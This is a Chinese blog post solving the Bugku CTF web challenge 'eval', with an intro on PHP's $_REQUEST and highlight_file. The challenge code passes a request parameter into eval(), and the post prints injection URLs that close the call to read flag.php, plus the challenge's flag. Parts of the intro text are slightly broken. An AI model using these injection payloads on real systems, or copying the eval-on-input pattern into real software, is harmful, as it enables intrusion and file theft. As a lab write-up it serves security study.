首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【愚公系列】2023年06月 Bugku-Web(eval)

【愚公系列】2023年06月 Bugku-Web(eval)

作者头像
愚公搬代码
发布2025-05-28 15:05:52
发布2025-05-28 15:05:52
14700
代码可运行
举报
文章被收录于专栏:历史专栏历史专栏
运行总次数:0
代码可运行

前言

1.$_REQUEST

在PHP中,$_REQUEST是一个关联数组,包含了HTTP请求参数(GET、POST和COOKIE)中的所有变量。虽然它为开发人员提供了方便,但如果不正确使用,也会引起安全问题,例如以下一些漏洞:

  1. 参数污染:攻击者可以通过提交带有相同名称但不同值的GET和POST请求,来覆盖$_REQUEST数组中的某些变量。这个漏洞称为参数污染,可以导致应用程序出现意外行为或安全性问题。
  2. 跨站脚本攻击:如果应用程序没有正确过滤用户提交的数据,那么攻击者可以提交恶意脚本,以窃取用户的数据或伪造用户的行为。攻击者可以使用$_REQUEST来传递恶意数据。
  3. SQL注入:如果应用程序没有对用户输入进行充分的验证和过滤,攻击者可能会提交恶意SQL代码,并通过$_REQUEST将其传递给数据查询语句。这可能会导致数据库中的数据泄露、数据损坏或应用程序崩溃。
  4. 文件包含攻击:攻击者可以通过提交恶意文件名和路径来利用应用程序中的文件包含漏洞。这种攻击可能会导致服务器文件泄露、敏感信息泄露或服务器被入侵。

$_REQUEST 函数是一个用于访问 GETPOSTCOOKIE 三个数组的超全局变量。它可以用于从客户端收集用户提交的数据。

,_REQUEST 函数的使用与 _GET,_POST 和 _COOKIE 相似。它接收一个字符串参数,指定所需的变量,然后返回该变量的值。与 _GET 和 _POST 不同的是,

以下是一个使用 $_REQUEST 函数的示例:

代码语言:javascript
代码运行次数:0
运行
复制
<html>
<body>

<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
  Name: <input type="text" name="name">
  <br><br>
  <input type="submit" value="Submit">
</form>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // collect value of input field
    $name = $_REQUEST['name'];
    if (empty($name)) {
        echo "Name is empty";
    } else {
        echo $name;
    }
}
?>

</body>
</html>

上面的代码中,当用户提交表单时,会使用 $_REQUEST 函数获取输入字段的值。如果输入字段为空,则输出 “Name is empty”,否则输出输入字段的值。

需要注意的是,_REQUEST 函数是不安全的,因为它无法确定用户的输入值是来自于哪个数组。因此,为了确保安全性,建议仅使用 _GET,_POST 和 _COOKIE 函数。

2.highlight_file

highlight_file函数用于将PHP文件的语法高亮显示输出。它将使用不同颜色和字体样式来显示PHP代码的各个部分,使其更易于阅读和理解。

函数语法:highlight_file(filename, return = false);

其中,参数filename是要高亮显示的PHP文件的路径,参数return用于控制函数的输出方式,默认值为false。

如果return参数设置为false,则highlight_file函数将直接输出高亮显示后的PHP代码到浏览器,并返回true;如果return参数设置为true,则highlight_file函数将返回高亮显示后的PHP代码字符串,而不会直接输出到浏览器。

示例代码:

代码语言:javascript
代码运行次数:0
运行
复制
<?php
// 将 PHP 文件高亮显示
highlight_file('test.php');
?>

此代码将读取名为test.php的文件,将其语法高亮显示并输出到浏览器。

一、eval

1.题目

2.答题

打开题目审计源码

代码语言:javascript
代码运行次数:0
运行
复制
<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

进行全局变量查看

代码语言:javascript
代码运行次数:0
运行
复制
http://114.67.175.224:11286/?hello=$GLOBALS

说明flag不是变量,应该就在flag.php里头被注释了

解法一:构造闭合

代码语言:javascript
代码运行次数:0
运行
复制
http://114.67.175.224:11286/?hello=);highlight_file('flag.php');var_dump(

解法二:使用文件读取函数

代码语言:javascript
代码运行次数:0
运行
复制
http://114.67.175.224:11286/?hello=file(%27flag.php%27)

得到flag:flag{34ad156d7d51f9372d7a08f120fad059}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2025-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
    • 1.$_REQUEST
    • 2.highlight_file
  • 一、eval
    • 1.题目
    • 2.答题
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档